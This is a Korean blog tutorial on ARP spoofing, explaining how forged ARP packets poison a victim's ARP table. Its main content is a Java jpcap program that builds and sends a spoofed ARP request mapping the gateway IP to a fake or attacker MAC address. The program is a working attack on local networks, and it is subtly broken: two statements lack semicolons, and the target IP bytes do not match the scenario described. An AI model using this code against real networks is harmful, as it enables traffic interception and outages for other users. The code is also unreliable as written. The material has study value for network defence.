오늘은 소스를 살펴보도록 하겠습니다.
ARP spoofing 소스는 인터넷에서도 많이 구하실 수 있을테지만, 최대한 이해가 쉽게 설명해 보도록하겠습니다.
ARP는 프래임의 헤더부터 잘 보셔야 합니다. 


시나리오 구성

                                         일반적인 토폴로지입니다.

--------------------------------------------------------------
희생자 ARP TABLE
c:\> arp -a

192.168.0.1            00-11-22-33-44-55        dynamic
--------------------------------------------------------------
===> 희생자가 인터넷을 이용하기 위해선, Ethernet header의  Destnation Mac address부분인 패킷의 맨 처음 6바이트가 
00:11:22:33:44:55 로 채워지게 됩니다.  이부분을  존재하지 않는 MAC주소나 원하는 MAC주소로 바꾸게끔 하는게 핵심입니다.

--------------------------------------------------------------
희생자 ARP TABLE
c:\> arp -a

192.168.0.1            0f-ee-13-23-df-22       dynamic          ---------------   1번
                                                                                                      or
192.168.0.1            22-22-22-22-22-22       dynamic        ----------------  2번
--------------------------------------------------------------
1과 같은 존재하지 않는 MAC주소나

2와 같은 공격자의 MAC주소로 지정되어있으면
게이트웨이로 향하는 모든 패킷은 갈곳을 찾지 못하여 인터넷이 안되거나 공격자에게로 전달하게 됩니다. 




지금부터 그 과정을 살펴보겠습니다.

공격 시나리오로는 공격자의 PC에서 희생자 PC로 ARP Request패킷을 보내는 상황입니다.

다음은 게이트웨이 주소가 조작된 ARP Request패킷입니다.
===============================================
///////////////////////////////                send. java  ////////////////////////
import jpcap.*;
import jpcap.packet.*;

class send
{
 public static void main(String[] args) { 
NetworkInterface[] devices = JpcapCaptor.getDeviceList();              //인터페이스목록을 얻어오는 jpcap llibrary 메소드

JpcapSender sender=JpcapSender.openDevice(devices[0]);          // 0번 인터페이스 선택, 일반적으로 0번들 많이쓰십니다. 
Packet sendPack = new Packet();      //Packet에 대한 개체를 정의.   Jpcap library 에서 정의한 구조라, 따라줘야함.
byte pb[] = new byte[60];       //패킷 크기 정하기 . 기본 60셋팅해주고

//Dst Mac               //////  arp request 패킷은 목적지가 브로드케스트입니다.
pb[0]=(byte)0xff;  pb[1]=(byte)0xff; pb[2]=(byte)0xff; pb[3]=(byte)0xff; pb[4]=(byte)0xff; pb[5]=(byte)0xff;
  //Src_Mac              ////  보낸사람 맥주소. 위장하거나 숨겨야 합므로 아무거나.......
pb[6]=(byte)0x00;  pb[7]=(byte)0x0d; pb[8]=(byte)0x60; pb[9]=(byte)0xb7; pb[10]=(byte)0xd1; pb[11]=(byte)0x12;    
  //Ether Type            //// 타입은 0806 arp입력해주시고,
pb[12]=(byte)0x08; pb[13]=(byte)0x06;
//Hardware type              //네트워크 유형 . 이더넷은 1입니다. rfc 1060 참고하세요
pb[14]=(byte)0x00; pb[15]=(byte)0x01;

//Protocol Type  //어떤유형의 프로토콜을 사용하는가 입니다. ip Ver 4이므로 0800
pb[16]=(byte)0x08; pb[17]=(byte)0x00;

//Hardware address size = Hardware length(Hlen)  = Mac address size = 6byte         //Mac주소는 6바이트
pb[18]=(byte)0x06;

//Porotocol size=  ip address size = 4byte     //IP주소는 4바이트
pb[19]=(byte)0x04;

//opcode    Request = 1, reply  =2           
pb[20]=(byte)0x00; pb[21]=(byte)0x01;
//sender hardware address     
pb[22]=(byte)0x00; pb[23]=(byte)0x00; pb[24]=(byte)0x00; pb[25]=(byte)0x00; pb[26]=(byte)0x00; pb[27]=(byte)0x00
//  GW의 MAC주소로서  바꾸고자하는 조작한 MAC주소 
//  (6바이트를 의미없는 값이나 공격자의 MAC주소로 바꾸면됩니다.)

// sender IP address 
pb[28]=(byte)0xc0; pb[29]=(byte)0xa8; pb[30]=(byte)0x00; pb[31]=(byte)0x01
////    희생자에게 전달될 GW  IP로 정확하게  192.168.0.1

//Target Hardware address 
pb[32]=(byte)0x00; pb[33]=(byte)0x00;        pb[34]=(byte)0x00; pb[35]=(byte)0x00; pb[36]=(byte)0x00;       pb[37]=(byte)0x00;
//ARP Request 정상패킷에서도 이부분은 비워두고 전달합니다.  
// 공격시에도 이부분은 비워두시고.

//target Ip address
 pb[38]=(byte)0xd2; pb[39]=(byte)0x6d; pb[40]=(byte)0x03; pb[41]=(byte)0x56;
// ARP Request 공격패킷에서 정확하게 희생자의 IP주소를 입력해 주어야 합니다.

sendPack.data =pb;
sender.sendPacket(sendPack); 
sender.close(); 
}
}
==========================================================================

ARP reply를 이용한 공격도 가능합니다만, request 와 reply는 패킷의 구성요소 조작시에 고려해야 할 사항이 조금 다릅니다
request와 reply둘다 Arp 구조안의 Sender Mac address를 조작하고 Sender IP address에 조작된 IP와 맵핑될 IP주소가들어간다는것은 똑같습니다. 
차이점은  request패킷의 Sender IP에  희생자의 ARP table에 없는(희생자가 알지못하는) IP주소를 넣어도 해당IP와 조작된 MAC 주소가 희생자에 테이블에 올라갑니다.  
하지만 reply패킷에서는 Sender IP에  희생자의 ARP table에 없는(희생자가 알지못하는) IP주소를 넣으면 희생자 테이블에 아무런 변화가 없습니다. 

이를 이용하게 되면 원하는 IP에 원하는 MAC주소까지 마음데로 희생자 ARP 테이블을 조작할 수 있습니다. 

결국 arp spoofing은 공격자가 희생자의 ARP table을 조작해서 원하는 곳으로 패킷의 이동경로를 조작하는 행위입니다.

reply패킷은 직접 만들어 보시기 바라며, 반듯이 공부용으로만 사용하여 주시기 바랍니다. 

AND